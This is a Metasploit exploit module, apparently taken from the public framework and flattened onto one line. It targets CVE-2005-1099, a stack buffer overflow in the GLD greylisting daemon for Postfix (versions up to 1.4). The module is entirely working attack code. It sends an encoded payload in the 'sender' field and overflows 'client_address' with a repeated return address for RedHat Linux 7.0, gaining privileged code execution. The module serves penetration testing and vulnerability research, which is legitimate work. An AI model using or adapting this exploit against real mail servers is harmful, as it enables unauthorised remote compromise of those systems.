## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'GLD (Greylisting Daemon) Postfix Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Salim Gasmi GLD <= 1.4 greylisting daemon for Postfix. By sending an overly long string the stack can be overwritten. }, 'Author' => [ 'patrick' ], 'Arch' => ARCH_X86, 'Platform' => 'linux', 'References' => [ [ 'CVE', '2005-1099' ], [ 'OSVDB', '15492' ], [ 'BID', '13129' ], [ 'EDB', '934' ] ], 'Privileged' => true, 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d\x20=", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 12 2005' )) register_options( [ Opt::RPORT(2525) ], self.class ) end def exploit connect sploit = "sender="+ payload.encoded + "\r\n" sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n" sock.put(sploit) handler disconnect end end